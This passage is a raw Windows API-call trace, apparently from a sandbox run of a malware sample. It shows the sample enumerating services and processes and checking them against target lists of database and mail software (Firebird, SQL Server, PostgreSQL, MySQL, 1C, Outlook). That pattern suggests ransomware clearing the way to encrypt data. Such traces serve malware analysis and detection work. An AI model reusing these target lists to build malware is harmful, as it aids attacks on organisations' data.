th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.014] lstrlenW (lpString="taskhost.exe") returned 12 [0105.014] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0105.014] lstrlenW (lpString="dllhost.exe") returned 11 [0105.014] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0105.014] lstrlenW (lpString="consent.exe") returned 11 [0105.014] Process32NextW (in: hSnapshot=0x188, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0105.015] CloseHandle (hObject=0x188) returned 1 [0105.015] Sleep (dwMilliseconds=0x1f4) [0105.826] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0105.827] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0105.827] GetLastError () returned 0xea [0105.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0105.827] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0105.827] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0105.828] lstrlenW (lpString="Appinfo") returned 7 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0105.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0105.828] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0105.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0105.828] lstrlenW (lpString="AudioSrv") returned 8 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0105.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0105.828] lstrlenW (lpString="BFE") returned 3 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0105.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0105.828] lstrlenW (lpString="CryptSvc") returned 8 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0105.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0105.828] lstrlenW (lpString="CscService") returned 10 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0105.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0105.828] lstrlenW (lpString="DcomLaunch") returned 10 [0105.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.828] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0105.828] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0105.829] lstrlenW (lpString="Dhcp") returned 4 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0105.829] lstrlenW (lpString="Dnscache") returned 8 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0105.829] lstrlenW (lpString="DPS") returned 3 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0105.829] lstrlenW (lpString="eventlog") returned 8 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0105.829] lstrlenW (lpString="EventSystem") returned 11 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0105.829] lstrlenW (lpString="gpsvc") returned 5 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0105.829] lstrlenW (lpString="iphlpsvc") returned 8 [0105.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.829] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0105.829] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0105.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0105.829] lstrlenW (lpString="LanmanServer") returned 12 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0105.830] lstrlenW (lpString="LanmanWorkstation") returned 17 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0105.830] lstrlenW (lpString="lmhosts") returned 7 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0105.830] lstrlenW (lpString="MMCSS") returned 5 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0105.830] lstrlenW (lpString="MpsSvc") returned 6 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0105.830] lstrlenW (lpString="Netman") returned 6 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0105.830] lstrlenW (lpString="netprofm") returned 8 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0105.830] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0105.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0105.830] lstrlenW (lpString="NlaSvc") returned 6 [0105.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0105.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0105.830] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0105.831] lstrlenW (lpString="nsi") returned 3 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0105.831] lstrlenW (lpString="PcaSvc") returned 6 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0105.831] lstrlenW (lpString="PlugPlay") returned 8 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0105.831] lstrlenW (lpString="Power") returned 5 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0105.831] lstrlenW (lpString="ProfSvc") returned 7 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0105.831] lstrlenW (lpString="RpcEptMapper") returned 12 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0105.831] lstrlenW (lpString="RpcSs") returned 5 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0105.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0105.831] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0105.831] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0105.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0105.831] lstrlenW (lpString="SamSs") returned 5 [0105.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0105.832] lstrlenW (lpString="Schedule") returned 8 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0105.832] lstrlenW (lpString="SENS") returned 4 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0105.832] lstrlenW (lpString="ShellHWDetection") returned 16 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0105.832] lstrlenW (lpString="Spooler") returned 7 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0105.832] lstrlenW (lpString="SysMain") returned 7 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0105.832] lstrlenW (lpString="Themes") returned 6 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0105.832] lstrlenW (lpString="TrkWks") returned 6 [0105.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0105.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0105.832] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0105.832] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0105.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0105.833] lstrlenW (lpString="UxSms") returned 5 [0105.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0105.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0105.833] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0105.833] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0105.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0105.833] lstrlenW (lpString="WdiServiceHost") returned 14 [0105.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0105.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0105.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0105.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0105.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0105.833] lstrlenW (lpString="WdiSystemHost") returned 13 [0105.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0105.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0105.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0105.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0105.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0105.833] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0105.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0105.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0105.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0105.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0105.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0105.833] lstrlenW (lpString="Winmgmt") returned 7 [0105.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0105.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0105.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0105.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0105.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0105.833] lstrlenW (lpString="WPDBusEnum") returned 10 [0105.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0105.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0105.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0105.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0105.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0105.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0105.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0105.835] Process32FirstW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.835] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.835] lstrlenW (lpString="System") returned 6 [0105.835] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0105.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0105.835] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0105.835] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0105.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0105.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0105.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0105.835] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.836] lstrlenW (lpString="smss.exe") returned 8 [0105.836] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0105.836] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.836] lstrlenW (lpString="csrss.exe") returned 9 [0105.836] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0105.836] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0105.836] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0105.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0105.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0105.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0105.836] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.836] lstrlenW (lpString="wininit.exe") returned 11 [0105.836] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0105.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0105.836] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 